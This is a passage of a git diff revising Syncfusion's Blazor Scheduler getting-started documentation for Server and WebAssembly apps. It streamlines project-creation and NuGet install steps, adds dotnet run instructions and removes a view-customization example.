+You can configure only the required views as needed, and include additional views based on your application requirements.
+
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.Schedule
 
 <SfSchedule TValue="AppointmentData" Height="650px" @bind-CurrentView="@CurrentView">
     <ScheduleViews>
@@ -302,42 +296,9 @@ The Scheduler displays `Week` view by default. To change the current view, defin
         <ScheduleView Option="View.Agenda"></ScheduleView>
     </ScheduleViews>
 </SfSchedule>
-@code{
-    View CurrentView = View.Month;
-    public class AppointmentData
-    {
-        public int Id { get; set; }
-        public string Subject { get; set; }
-        public string Location { get; set; }
-        public DateTime StartTime { get; set; }
-        public DateTime EndTime { get; set; }
-        public string Description { get; set; }
-        public bool IsAllDay { get; set; }
-        public string RecurrenceRule { get; set; }
-        public string RecurrenceException { get; set; }
-        public Nullable<int> RecurrenceID { get; set; }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
 
-## Individual view customization
-
-Each individual Scheduler views can be customized with its own options such as setting different start and end hour on Week and Work Week views, whereas hiding the weekend days on Month view alone which can be achieved by defining the `ScheduleView`.
-
-{% tabs %}
-{% highlight razor %}
-
-<SfSchedule TValue="AppointmentData" Height="650px" @bind-SelectedDate="@CurrentDate">
-    <ScheduleViews>
-        <ScheduleView Option="View.Week" StartHour="07:00" EndHour="15:00"></ScheduleView>
-        <ScheduleView Option="View.WorkWeek" StartHour="10:00" EndHour="18:00"></ScheduleView>
-        <ScheduleView Option="View.Month" MaxEventsPerRow="2" ShowWeekend="false"></ScheduleView>
-    </ScheduleViews>
-</SfSchedule>
 @code{
-    DateTime CurrentDate = new DateTime(2020, 2, 13);
+    View CurrentView = View.Month;
     public class AppointmentData
     {
         public int Id { get; set; }
@@ -356,7 +317,7 @@ Each individual Scheduler views can be customized with its own options such as s
 {% endhighlight %}
 {% endtabs %}
 
-## See Also
+## See also
 
 1. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client-side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-dotnet-cli)
 2. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client-side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-visual-studio)
diff --git a/blazor/scheduler/getting-started-with-server-app.md b/blazor/scheduler/getting-started-with-server-app.md
index aaa8ae46b2..b54f2abb8e 100644
--- a/blazor/scheduler/getting-started-with-server-app.md
+++ b/blazor/scheduler/getting-started-with-server-app.md
@@ -13,94 +13,78 @@ This section briefly explains about how to include [Syncfusion<sup style="font-s
 
 > **Ready to streamline your Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor development?** <br/>Discover the full potential of Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components with Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants. Effortlessly integrate, configure, and enhance projects with intelligent, context-aware code suggestions, streamlined setups, and real-time insights—all seamlessly integrated into preferred AI-powered IDEs like VS Code, Cursor, Syncfusion<sup style="font-size:70%">&reg;</sup> CodeStudio and more. [Explore Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants](https://blazor.syncfusion.com/documentation/ai-coding-assistant/overview)
 
+## Create a new Blazor Server App
+
 {% tabcontents %}
 
 {% tabcontent Visual Studio %}
 
-## Prerequisites
-
-* [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
-
-## Create a new Blazor App in Visual Studio
-
-Create a **Blazor Server App** by using the **Blazor Web App** template in Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor Server App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio) documentation.
+Create a **Blazor Server App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor Server App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio) documentation.
 
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
 
-## Prerequisites
-
-* [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
-
-## Create a new Blazor App in Visual Studio Code
-
-Create a **Blazor Server App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor Server App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio?tabcontent=visual-studio-code) documentation.
-
-Alternatively, create a Server application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Run the following command to create a new Blazor Server App.
 
-{% tabs %}
-
-{% highlight c# tabtitle="Blazor Server App" %}
-
-dotnet new blazor -o BlazorApp -int Server
-cd BlazorApp
-
-{% endhighlight %}
+```bash
+dotnet new blazor -o BlazorServerApp --interactivity Server
+```
 
-{% endtabs %}
+Alternatively, create a **Blazor Server App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc), the [Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project), or the [C# Dev Kit](https://marketplace.visualstudio.com/items?itemName=ms-dotnettools.csdevkit) extension.
 
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
 
-## Prerequisites
+Run the following command to create a new Blazor Server App.
 
-Install the latest version of [.NET SDK](https://dotnet.microsoft.com/en-us/download). If the .NET SDK is already installed, determine the installed version by running the following command in a command prompt (Windows), terminal (macOS), or command shell (Linux).
+```bash
+dotnet new blazor -o BlazorServerApp --interactivity Server
+```
 
-{% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% endtabcontent %}
 
-dotnet --version
+{% endtabcontents %}
 
-{% endhighlight %}
-{% endtabs %}
+N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a Blazor Server App. For detailed information, refer to the [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode).
 
-## Create a Blazor Server App using .NET CLI
+## Install the required Blazor packages
 
-Run the following command to create a new Blazor Server App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor Server App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio?tabcontent=.net-cli) documentation.
+Install the [Syncfusion.Blazor.Schedule](https://www.nuget.org/packages/Syncfusion.Blazor.Schedule) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% tabcontents %}
 
-dotnet new blazor -o BlazorApp -int Server
-cd BlazorApp
+{% tabcontent Visual Studio %}
 
-{% endhighlight %}
-{% endtabs %}
+1. Go to *Tools → NuGet Package Manager → Manage NuGet Packages for Solution*.
+2. Search the required NuGet packages (`Syncfusion.Blazor.Schedule` and `Syncfusion.Blazor.Themes`) and install them.
 
 {% endtabcontent %}
 
-{% endtabcontents %}
+{% tabcontent Visual Studio Code %}
 
-N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a Blazor Server App. For detailed information, refer to the [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode).
+Open the terminal and run the following commands.
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+```bash
+dotnet add package Syncfusion.Blazor.Schedule -v {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
+```
 
-Install [Syncfusion.Blazor.Schedule](https://www.nuget.org/packages/Syncfusion.Blazor.Schedule/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+{% endtabcontent %}
 
-Alternatively, run the following commands in the Package Manager Console to achieve the same.
+{% tabcontent .NET CLI %}
 
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
+Open the command prompt and run the following commands.
 
-Install-Package Syncfusion.Blazor.Schedule -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+```bash
+dotnet add package Syncfusion.Blazor.Schedule -v {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
+```
 
-{% endhighlight %}
-{% endtabs %}
+{% endtabcontent %}
 
-N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
+{% endtabcontents %}
 
 ## Add import namespaces
 
@@ -115,9 +99,9 @@ After the packages are installed, open the **~/_Imports.razor** file and import
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
+## Register the Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor Server App.
+Open the **Program.cs** file in Blazor Server App and register the Blazor service.
 
 {% tabs %}
 {% highlight C# tabtitle="Program.cs" %}
@@ -133,37 +117,29 @@ builder.Services.AddSyncfusionBlazor();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/Components/App.razor** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the [stylesheet](https://blazor.syncfusion.com/documentation/appearance/themes) and [script references](https://blazor.syncfusion.com/documentation/common/adding-script-references) in the **App.razor** file.
 
-```html
+{% tabs %}
+{% highlight html tabtitle="App.razor" %}
 
+...
 <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
-....
+...
 <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
 
-```
-
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
-
-## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Scheduler component
-
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Scheduler component in the **~/Components/Pages/Home.razor** file. If the interactivity location is set to `Per page/component`, define a render mode at the top of the `~Pages/Home.razor` file.
+{% endhighlight %}
+{% endtabs %}
 
-N> If the Interactivity Location is set to `Global`, the render mode is automatically configured in the `App.razor` file by default.
+## Add Blazor Scheduler component
 
-{% tabs %}
-{% highlight razor %}
+Open a Razor file located in the **~/Pages/*.razor** (for example, **Home.razor**) and add the [Blazor Scheduler](https://www.syncfusion.com/blazor-components/blazor-scheduler) component inside the razor file.
 
-@* desired render mode define here *@
-@rendermode InteractiveServer
-
-{% endhighlight %}
-{% endtabs %}
+N> If the interactivity location is set to `Per page/component` in the Server App, define a render mode at the top of the razor file. (For example, `InteractiveServer`, `InteractiveWebAssembly` or `InteractiveAuto`). If the **Interactivity** is set to `Global` with `Auto` or `WebAssembly`, the render mode is automatically configured in the `App.razor` file by default.
 
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
-@using Syncfusion.Blazor.Schedule
+@rendermode InteractiveServer
 
 <SfSchedule TValue=AppointmentData>
     <ScheduleViews>
@@ -193,9 +169,39 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% endhighlight %}
 {% endtabs %}
 
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Scheduler component in your default web browser.
+**Run the application**
+
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
+
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. The Blazor Scheduler component will render in your default web browser.
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code %}
+
+* Open the terminal and navigate to the Blazor Server App project folder, and run the following command.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNVpjWADUUybFgTL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Scheduler Component](images/blazor-scheduler.png)" %}
+```bash
+dotnet run
+```
+
+{% endtabcontent %}
+
+{% tabcontent .NET CLI %}
+
+* Open the command prompt and navigate to the Blazor Server App project folder, and run the following command.
+
+```bash
+dotnet run
+```
+
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjhRjSsPqvtpOwYh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Scheduler Component](images/blazor-scheduler.png)" %}
 
 ## Populating appointments
 
@@ -204,8 +210,6 @@ To populate the Scheduler with appointments, bind the event data to it by assign
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
-@using Syncfusion.Blazor.Schedule
-
 <SfSchedule TValue="AppointmentData" Height="650px" @bind-SelectedDate="@CurrentDate">
     <ScheduleEventSettings DataSource="@DataSource"></ScheduleEventSettings>
     <ScheduleViews>
@@ -251,8 +255,6 @@ The [Blazor Scheduler](https://www.syncfusion.com/blazor-components/blazor-sched
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
-@using Syncfusion.Blazor.Schedule
-
 <SfSchedule TValue="AppointmentData" Height="650px" @bind-SelectedDate="@CurrentDate">
     <ScheduleViews>
         <ScheduleView Option="View.Day"></ScheduleView>
@@ -284,7 +286,11 @@ The [Blazor Scheduler](https://www.syncfusion.com/blazor-components/blazor-sched
 
 ## Setting view
 
-The Scheduler displays `Week` view by default. To change the current view, define the applicable view name to the two-way binding of [CurrentView](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Schedule.SfSchedule-1.html#Syncfusion_Blazor_Schedule_SfSchedule_1_CurrentView) property. The applicable view names are,
+The Scheduler displays `Week` view by default. To change the current view, define the applicable view name to the two-way binding of [CurrentView](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Schedule.SfSchedule-1.html#Syncfusion_Blazor_Schedule_SfSchedule_1_CurrentView) property.
+
+### Available Views
+
+The Scheduler supports the following built-in views:
 
 * Day
 * Week
@@ -299,11 +305,11 @@ The Scheduler displays `Week` view by default. To change the current view, defin
 * TimelineYear
 * Year
 
+You can configure only the required views as needed, and include additional views based on your application requirements.
+
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
-@using Syncfusion.Blazor.Schedule
-
 <SfSchedule TValue="AppointmentData" Height="650px" @bind-CurrentView="@CurrentView">
     <ScheduleViews>
         <ScheduleView Option="View.Day"></ScheduleView>
@@ -333,42 +339,6 @@ The Scheduler displays `Week` view by default. To change the current view, defin
 {% endhighlight %}
 {% endtabs %}
 
-## Individual view customization
-
-Each individual Scheduler views can be customized with its own options such as setting different start and end hour on Week and Work Week views, whereas hiding the weekend days on Month view alone which can be achieved by defining the `ScheduleView`.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Schedule
-
-<SfSchedule TValue="AppointmentData" Height="650px" @bind-SelectedDate="@CurrentDate">
-    <ScheduleViews>
-        <ScheduleView Option="View.Week" StartHour="07:00" EndHour="15:00"></ScheduleView>
-        <ScheduleView Option="View.WorkWeek" StartHour="10:00" EndHour="18:00"></ScheduleView>
-        <ScheduleView Option="View.Month" MaxEventsPerRow="2" ShowWeekend="false"></ScheduleView>
-    </ScheduleViews>
-</SfSchedule>
-@code{
-    DateTime CurrentDate = new DateTime(2020, 2, 13);
-    public class AppointmentData
-    {
-        public int Id { get; set; }
-        public string Subject { get; set; }
-        public string Location { get; set; }
-        public DateTime StartTime { get; set; }
-        public DateTime EndTime { get; set; }
-        public string Description { get; set; }
-        public bool IsAllDay { get; set; }
-        public string RecurrenceRule { get; set; }
-        public string RecurrenceException { get; set; }
-        public Nullable<int> RecurrenceID { get; set; }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
 N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Scheduler).
 
 ## See also
diff --git a/blazor/scheduler/getting-started.md b/blazor/scheduler/getting-started.md
index 855f8f6683..e8f794e98d 100644
--- a/blazor/scheduler/getting-started.md
+++ b/blazor/scheduler/getting-started.md
@@ -9,141 +9,89 @@ documentation: ug
 
 # Getting Started with Blazor Scheduler Component in WASM App
 
-This section briefly explains about how to include [Blazor Scheduler](https://www.syncfusion.com/blazor-components/blazor-scheduler) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Scheduler](https://www.syncfusion.com/blazor-components/blazor-scheduler) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 > **Ready to streamline your Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor development?** <br/>Discover the full potential of Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components with Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants. Effortlessly integrate, configure, and enhance projects with intelligent, context-aware code suggestions, streamlined setups, and real-time insights—all seamlessly integrated into preferred AI-powered IDEs like VS Code, Cursor, Syncfusion<sup style="font-size:70%">&reg;</sup> CodeStudio and more. [Explore Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants](https://blazor.syncfusion.com/documentation/ai-coding-assistant/overview)
 
-To get start quickly with Blazor Scheduler, refer to this [GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Scheduler) sample.
+## Create a new Blazor WASM App
 
 {% tabcontents %}
 
 {% tabcontent Visual Studio %}
 
-## Prerequisites
+Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WebAssembly App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-* [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
-
-## Create a new Blazor App in Visual Studio
-
-Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
-
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Schedule and Themes NuGet in the App
-
-To add the **Blazor Scheduler** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.Schedule](https://www.nuget.org/packages/Syncfusion.Blazor.Schedule) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
+{% endtabcontent %}
 
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
+{% tabcontent Visual Studio Code %}
 
-Install-Package Syncfusion.Blazor.Schedule -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+Run the following command to create a new Blazor WebAssembly App.
 
-{% endhighlight %}
-{% endtabs %}
+```bash
+dotnet new blazorwasm -o BlazorWASMApp
+```
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+Alternatively, create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc), the [Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project), or the [C# Dev Kit](https://marketplace.visualstudio.com/items?itemName=ms-dotnettools.csdevkit) extension.
 
 {% endtabcontent %}
 
-{% tabcontent Visual Studio Code %}
-
-## Prerequisites
+{% tabcontent .NET CLI %}
 
-* [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
+Run the following command to create a new Blazor WebAssembly App.
 
-## Create a new Blazor App in Visual Studio Code
+```bash
+dotnet new blazorwasm -o BlazorWASMApp
+```
 
-Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
+{% endtabcontent %}
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+{% endtabcontents %}
 
-{% tabs %}
+N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a Blazor WebAssembly App. For detailed information, refer to the [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode).
 
-{% highlight c# tabtitle="Blazor WASM App" %}
+## Install the required Blazor packages
 
-dotnet new blazorwasm -o BlazorApp
-cd BlazorApp
+Install the [Syncfusion.Blazor.Schedule](https://www.nuget.org/packages/Syncfusion.Blazor.Schedule) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% endhighlight %}
+{% tabcontents %}
 
-{% endtabs %}
+{% tabcontent Visual Studio %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Schedule and Themes NuGet in the App
+1. Go to *Tools → NuGet Package Manager → Manage NuGet Packages for Solution*.
+2. Search the required NuGet packages (`Syncfusion.Blazor.Schedule` and `Syncfusion.Blazor.Themes`) and install them.
 
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.Schedule](https://www.nuget.org/packages/Syncfusion.Blazor.Schedule) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
+{% endtabcontent %}
 
-{% tabs %}
+{% tabcontent Visual Studio Code %}
 
-{% highlight c# tabtitle="Package Manager" %}
+Open the terminal and run the following commands.
 
+```bash
 dotnet add package Syncfusion.Blazor.Schedule -v {{ site.releaseversion }}
 dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+```
 
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
 
-## Prerequisites
+Open the command prompt and run the following commands.
 
-Install the latest version of [.NET SDK](https://dotnet.microsoft.com/en-us/download). If the .NET SDK is already installed, determine the installed version by running the following command in a command prompt (Windows), terminal (macOS), or command shell (Linux).
-
-{% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
-
-dotnet --version
-
-{% endhighlight %}
-{% endtabs %}
-
-## Create a Blazor WebAssembly App using .NET CLI
-
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
-
-{% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
-
-dotnet new blazorwasm -o BlazorApp
-cd BlazorApp
-
-{% endhighlight %}
-{% endtabs %}
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Schedule and Themes NuGet in the App
-
-To add the **Blazor Scheduler** component in the application, run the following command in the command prompt (Windows) or terminal (Linux and macOS) to install the [Syncfusion.Blazor.Schedule](https://www.nuget.org/packages/Syncfusion.Blazor.Schedule/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
-
-{% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
-
-dotnet add package Syncfusion.Blazor.Schedule -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+```bash
+dotnet add package Syncfusion.Blazor.Schedule -v {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
+```
 
 {% endtabcontent %}
 
 {% endtabcontents %}
 
-## Add Import Namespaces
+## Add import namespaces
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Schedule` namespace.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Schedule` namespaces.
 
 {% tabs %}
-{% highlight razor tabtitle="~/_Imports.razor" %}
+{% highlight C# tabtitle="~/_Imports.razor" %}
 
 @using Syncfusion.Blazor
 @using Syncfusion.Blazor.Schedule
@@ -151,25 +99,16 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
-
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+## Register the Blazor service
+Open the **Program.cs** file in Blazor WebAssembly App and register the Blazor service.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -177,26 +116,27 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
